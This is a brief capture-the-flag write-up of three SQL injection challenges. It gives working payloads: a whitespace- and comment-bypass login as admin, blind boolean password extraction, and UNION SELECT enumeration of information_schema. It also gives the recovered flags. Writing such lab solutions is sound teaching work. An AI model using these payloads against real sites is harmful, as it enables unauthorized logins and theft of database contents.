sql injection

Account : stanleymusic

Writeup :

- Sqli 1
  - Whitespace -> %0a
  - = -> LIKE
  - # -> %23 (comment)
  - To login as admin we need to make id = ‘admin’
  - Simply make a Boolean function that will return true and also set id as admin
  - ?password=%27%0aor%0a(id%0aLIKE%0a%27admin%27)%0a%23
- Sqli 2
  - Guess password
  - First use length(password) to find out the length of password (17)

- 17 – length(‘balqs{}’) = 10
- Use ascii(mid(password,start,length)) to guess the rest password
- and -> &&(%26)
- get password = balqs{i_am_bind?}

- Sqli 3
  - Get database -> table -> column
  - ' UNION SELECT schema_name,1 FROM information_schema.schemata limit 1,1#' and get database = flag_is_herer
  - ' UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schema LIKE 'flag_is_here' #' and get table = secret
  - ' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name LIKE 'secret' #' and get column = flag
  - UNION SELECT column,1 FROM

database.table and get the flag

- balqs{schema_power}